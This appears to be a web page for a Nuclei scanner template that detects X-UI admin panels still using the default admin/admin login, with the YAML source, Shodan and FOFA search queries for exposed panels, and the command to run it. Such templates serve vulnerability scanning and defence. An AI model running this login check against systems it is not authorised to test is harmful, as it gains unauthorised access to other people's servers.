X-UI - Default Login

ID: xui-default-login

Severity: high

Author: dali

Tags: x-ui,default-login

Description

X-UI contains default credentials. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.

YAML Source

id: xui-default-login

info:
  name: X-UI - Default Login
  author: dali
  severity: high
  description: |
    X-UI contains default credentials. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://github.com/vaxilu/x-ui
    - https://seakfind.github.io/2021/10/10/X-UI/#:~:text=By%20default%2C%20the%20login%20user,the%20password%20is%20also%20admin%20.
  classification:
    cwe-id: CWE-798
    cpe: cpe:2.3:a:vaxilu:x-ui:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    fofa-query: title="X-UI Login"
    shodan-query: title:"X-UI Login"
    product: x-ui
    vendor: vaxilu
  tags: x-ui,default-login

http:
  - method: GET
    path:
      - "{{BaseURL}}/login"

  - method: POST
    path:
      - "{{BaseURL}}/login"

    headers:
      content-type: application/x-www-form-urlencoded

    body: "username={{username}}&password={{password}}"

    attack: pitchfork
    payloads:
      username:
        - "admin"
      password:
        - "admin"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - '!contains(http_1_body, "\"success\":true")'
          - 'contains_all(http_2_body, "\"success\":true", "msg\":")'
          - "contains(http_2_header, 'application/json')"
          - "http_2_status_code == 200"
        condition: and
# digest: 4a0a00473045022100d302c3de4535dafddbc222ed0f463748748ffc692d517af7d1ffa41c52afcafc02201242911e891005bae9a750b0303bc200b556cd99209df5a4e49bc0718dcf5720:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/default-logins/xui/xui-default-login.yaml"

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